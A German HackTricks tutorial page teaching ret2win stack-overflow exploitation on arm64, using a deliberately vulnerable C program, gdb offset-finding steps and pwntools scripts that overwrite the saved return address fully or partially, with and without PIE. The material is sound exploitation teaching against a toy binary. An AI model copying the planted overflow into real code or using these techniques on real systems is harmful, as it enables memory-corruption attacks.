Ret2win - arm64

Ret2win - arm64

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Finden Sie eine Einführung in arm64 in:

pageIntroduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompilieren ohne PIE und Canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Ermittlung des Offset

Musteroption

Dieses Beispiel wurde mit GEF erstellt:

Starten Sie gdb mit gef, erstellen Sie ein Muster und verwenden Sie es:

gdb -q ./ret2win
pattern create 200
run

arm64 wird versuchen, zur Adresse im Register x30 (die kompromittiert wurde) zurückzukehren, das können wir nutzen, um den Musteroffset zu finden:

pattern search $x30

Der Offset beträgt 72 (9x48).

Stack-Offset-Option

Beginnen Sie damit, die Stack-Adresse zu erhalten, an der das PC-Register gespeichert ist:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Jetzt setzen Sie einen Breakpoint nach dem read() und fahren Sie fort, bis das read() ausgeführt wird, und setzen Sie ein Muster wie 13371337:

b *vulnerable_function+28
c

Finde heraus, wo dieses Muster im Speicher gespeichert ist:

Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Kein PIE

Normal

Hole die Adresse der win Funktion:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Ausnutzung:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Eigentlich wird dies eher wie ein Off-by-2 im gespeicherten PC im Stack sein. Anstatt alle Rückgabeadressen zu überschreiben, werden wir nur die letzten 2 Bytes mit 0x06c4 überschreiben.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Ein weiteres Beispiel für einen Off-by-One-Fehler in ARM64 finden Sie unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, der einen echten Off-by-One-Fehler in einer fiktiven Schwachstelle darstellt.

Mit PIE

Kompilieren Sie das Binär ohne das Argument -no-pie

Off-by-2

Ohne ein Leak kennen wir nicht die genaue Adresse der Gewinnfunktion, aber wir können den Offset der Funktion aus dem Binär kennen. Da die Rücksprungadresse, die wir überschreiben, bereits auf eine nahe Adresse zeigt, ist es möglich, den Offset zur Gewinnfunktion (0x7d4) in diesem Fall zu leaken und einfach diesen Offset zu verwenden:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.

</details>

Last updated